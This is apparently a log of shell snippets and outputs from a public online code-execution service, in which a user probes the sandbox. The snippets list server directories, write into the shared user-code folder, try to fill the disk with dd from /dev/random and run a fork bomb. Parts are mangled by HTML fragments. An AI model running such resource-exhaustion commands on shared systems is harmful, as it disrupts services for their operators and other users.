bash
ls -alh /var/www/servive/usercode
ls: cannot access '/var/www/service/diff': No such file or directory ls: cannot access '/var/www/servive/usercode': No such file or directory ls: cannot access '/var/www/service/diff': No such file or directory
bash
ls ls -alh /var/www/service/
ls: cannot access '/var/www/service/diff': No such file or directory ls: cannot access 'ls': No such file or directory ls: cannot access '/var/www/service/diff': No such file or directory
/var/www/service/: total 108K drwxr-xr-x 5 root root 4.0K Sep 16 09:34 . drwxr-xr-x 4 root root 4.0K Jan 7 2017 .. drwxr-xr-x 2 root root 4.0K Jul 8 19:15 bin -rwxr-xr-x 1 root root 26K Jan 7 2017 codediff.py -rwxr-xr-x 1 root root 501 Jan 12 2017 compile_parent.py -rw-r--r-- 1 root root 386 Jan 7 2017 Default.aspx -rw-r--r-- 1 root root 260 Jan 7 2017 Default.aspx.cs -rw-r--r-- 1 root root 596 Jan 7 2017 Default.aspx.designer.cs -rw-r--r-- 1 root root 18 Jan 7 2017 Global.asax -rw-r--r-- 1 root root 872 Jan 7 2017 Global.asax.cs drwxr-xr-x 3 root root 4.0K Jan 7 2017 obj -rwxr-xr-x 1 root root 2.5K Jul 7 13:25 parent_back.py -rwxr-xr-x 1 root root 3.3K Jul 25 20:39 parent.py -rw-r--r-- 1 root root 3.5K Jan 7 2017 RextesterService.csproj -rw-r--r-- 1 root root 5.7K Jan 7 2017 RextesterService.pidb -rw-r--r-- 1 root root 64 Jan 7 2017 Service.asmx -rw-r--r-- 1 root root 6.8K Jan 7 2017 Service.asmx.cs drwxrwxrwx 3 root root 4.0K Sep 16 18:04 usercode -rw-r--r-- 1 root root 897 Jan 7 2017 web.config
bash
ls /var/www/service/usercode
ls: cannot access '/var/www/service/diff': No such file or directory ls: cannot access '/var/www/service/diff': No such file or directory
1 10 100 101 11 12 13 1387350079 14 15 16 17 18 19 2 20 21 22 23 24 25 26 27 28 29 3 30 31 32 33 34 35 36 37 38 39 4 40 41 42 43 44 45 46 47 48 49 5 50 51 52 53 54 55 56 57 58 59 6 60 61 62 63 64 65 66 67 68 69 7 70 71 72 73 74 75 76 77 78 79 8 80 81 82 83 84 85 86 87 88 89 9 90 91 92 93 94 95 96 97 98 99 asd datos.txt ok TempFile 0
bash
ls /var/www/service/usercode; echo test /var/www/service/usercode/lol; ls /var/www/service/usercode;
ls: cannot access '/var/www/service/diff': No such file or directory ls: cannot access '/var/www/service/diff': No such file or directory
1 10 100 101 11 1173466061 12 13 14 15 16 17 18 19 2 20 21 22 23 24 25 26 27 28 29 3 30 31 32 33 34 35 36 37 38 39 4 40 41 42 43 44 45 46 47 48 49 5 50 51 52 53 54 55 56 57 58 59 6 60 61 62 63 64 65 66 67 68 69 7 70 71 72 73 74 75 76 77 78 79 8 80 81 82 83 84 85 86 87 88 89 9 90 91 92 93 94 95 96 97 98 99 asd datos.txt ok TempFile 0 test /var/www/service/usercode/lol 1 10 100 101 11 1173466061 12 13 14 15 16 17 18 19 2 20 21 22 23 24 25 26 27 28 29 3 30 31 32 33 34 35 36 37 38 39 4 40 41 42 43 44 45 46 47 48 49 5 50 51 52 53 54 55 56 57 58 59 6 60 61 62 63 64 65 66 67 68 69 7 70 71 72 73 74 75 76 77 78 79 8 80 81 82 83 84 85 86 87 88 89 9 90 91 92 93 94 95 96 97 98 99 asd datos.txt ok TempFile 0
bash
ls /var/www/service/usercode; echo test > /var/www/service/usercode/lol; ls /var/www/service/usercode;
ls: cannot access '/var/www/service/diff': No such file or directory source_file.sh: line 2: echo: write error: File too large ls: cannot access '/var/www/service/diff': No such file or directory
1 10 100 101 11 12 13 14 15 16 17 18 19 2 20 21 22 23 24 25 26 27 28 29 3 30 31 32 33 34 35 36 37 38 39 4 40 41 42 43 44 45 46 47 48 49 5 50 51 52 53 54 55 56 57 58 59 6 60 61 62 63 64 65 66 67 68 69 7 70 71 72 73 74 75 76 77 78 79 8 80 81 82 83 84 85 86 87 88 89 9 90 91 92 93 94 95 96 97 98 99 99786387 asd datos.txt ok TempFile 0 1 10 100 101 11 12 13 14 15 16 17 18 19 2 20 21 22 23 24 25 26 27 28 29 3 30 31 32 33 34 35 36 37 38 39 4 40 41 42 43 44 45 46 47 48 49 5 50 51 52 53 54 55 56 57 58 59 6 60 61 62 63 64 65 66 67 68 69 7 70 71 72 73 74 75 76 77 78 79 8 80 81 82 83 84 85 86 87 88 89 9 90 91 92 93 94 95 96 97 98 99 99786387 asd datos.txt lol ok TempFile 0
bash
dd if=/de/random of=/var/www/service/usercode/fat bs=10MB count=1000; ls /var/www/service/usercode;
ls: cannot access '/var/www/service/diff': No such file or directory dd: failed to open '/de/random': No such file or directory ls: cannot access '/var/www/service/diff': No such file or directory
1 10 100 101 11 12 13 14 15 16 17 18 19 2 20 21 22 23 24 25 26 27 28 29 3 30 31 32 33 34 35 36 37 38 39 4 40 41 42 43 44 45 46 47 48 49 5 50 51 52 53 54 55 56 57 58 59 6 60 61 62 63 64 65 66 67 68 69 7 70 71 72 73 74 75 76 77 78 79 8 80 81 82 820535023 83 84 85 86 87 88 89 9 90 91 92 93 94 95 96 97 98 99 asd datos.txt lol ok TempFile 0
bash
dd if=/dev/random of=/var/www/service/usercode/fat bs=10MB count=1000; ls /var/www/service/usercode;
ls: cannot access '/var/www/service/diff': No such file or directory dd: error writing '/var/www/service/usercode/fat': File too large 0+1 records in 0+0 records out 0 bytes copied, 0.00020411 s, 0.0 kB/s ls: cannot access '/var/www/service/diff': No such file or directory
1 10 100 101 11 12 13 14 15 16 17 1712441381 18 19 2 20 21 22 23 24 25 26 27 28 29 3 30 31 32 33 34 35 36 37 38 39 4 40 41 42 43 44 45 46 47 48 49 5 50 51 52 53 54 55 56 57 58 59 6 60 61 62 63 64 65 66 67 68 69 7 70 71 72 73 74 75 76 77 78 79 8 80 81 82 83 84 85 86 87 88 89 9 90 91 92 93 94 95 96 97 98 99 asd datos.txt fat lol ok TempFile 0
bash
dd if=/dev/random of=/var/www/service/usercode/fat2 bs=10MB count=100; ls /var/www/service/usercode;
ls: cannot access '/var/www/service/diff': No such file or directory dd: error writing '/var/www/service/usercode/fat2': File too large 0+1 records in 0+0 records out 0 bytes copied, 0.000197887 s, 0.0 kB/s ls: cannot access '/var/www/service/diff': No such file or directory
1 10 100 101 11 12 1286355110 13 14 15 16 1693167502 17 18 1828423316 19 2 20 21 22 23 24 25 26 27 28 29 3 30 31 32 33 34 35 36 37 38 39 4 40 41 42 43 44 45 46 47 48 49 5 50 51 52 53 54 55 56 57 58 59 6 60 61 62 63 64 65 66 67 68 69 7 70 71 72 73 74 75 76 77 78 79 8 80 81 82 83 84 85 86 87 88 89 9 90 91 92 93 94 95 96 97 98 99 asd datos.txt fat fat2 lol ok TempFile 0
br/>bash<br/><
br/>Source:<br/>dd if=/dev/random of=/var/www/service/usercode/fat2 bs=10MB count=100;<br/>ls -alh /var/www/service
/usercode;<br/><br/>Errors:<br/>ls: cannot access '/var/www/service/diff': No such file or directory<br/>dd: error writing '/var/www/service/usercode/fat2': File too large<br/>0+1 records in<br/>0+0 records out<br/>0 bytes copied, 0.000199275 s, 0.0 kB/s<br/>ls: cannot access '/var/www/service/diff': No such file or directory<br/><br/>Result:<br/>total 12K<br/>drwxrwxrwx 3 root root 4.0K Sep 16 19:01 .<br/>drwxr-xr-x 5 root root 4.0K Sep 16 09:34 ..<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 1<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 10<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 100<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 101<br/>drwx------ 2 www-data www-data 4.0K Sep 16 19:01 1031957741<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 11<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 12<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 13<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 14<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 15<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 16<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 17<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 18<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 19<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 2<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 20<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 21<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 22<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 23<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 24<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 25<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 26<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 27<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 28<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 29<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 3<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 30<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 31<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 32<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 33<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 34<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 35<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 36<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 37<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 38<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 39<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 4<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 40<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 41<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 42<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 43<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 44<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 45<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 46<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 47<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 48<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 49<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 5<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 50<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 51<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 52<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 53<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 54<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 55<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 56<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 57<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 58<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 59<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 6<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 60<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 61<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 62<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 63<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 64<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 65<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 66<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 67<br/>-rw------- 1 www-data www-data 0 Sep 16 17:46 68<br/>-rw…
bash
mkdir /var/www/service/usercode/dd dd if=/dev/random of=/var/www/service/usercode/dd/fat bs=10MB count=100; ls -alh /var/www/service/usercode/dd
ls: cannot access '/var/www/service/diff': No such file or directory source_file.sh: line 1: /bin/mkdir: Permission denied dd: failed to open '/var/www/service/usercode/dd/fat': No such file or directory ls: cannot access '/var/www/service/usercode/dd': No such file or directory ls: cannot access '/var/www/service/diff': No such file or directory
bash
:(){ :|: & };:ls: cannot access '/var/www/service/diff': No such file or directory ls: cannot access '/var/www/service/diff': No such file or directory
bash
mkdir /var/www/service/diff
source_file.sh: line 1: /bin/mkdir: Permission denied
bash
mkdir test
source_file.sh: line 1: /bin/mkdir: Permission denied
bash
ls ..
bin codediff.py compile_parent.py Default.aspx Default.aspx.cs Default.aspx.designer.cs diff Global.asax Global.asax.cs obj parent_back.py parent.py RextesterService.csproj RextesterService.pidb Service.asmx Service.asmx.cs usercode web.config
bash
ls ..
bin codediff.py compile_parent.py Default.aspx Default.aspx.cs Default.aspx.designer.cs diff Global.asax Global.asax.cs obj parent_back.py parent.py RextesterService.csproj RextesterService.pidb Service.asmx Service.asmx.cs usercode web.config
bash
cat >
source_file.sh: line 1: syntax error near unexpected token `newline' source_file.sh: line 1: `cat >'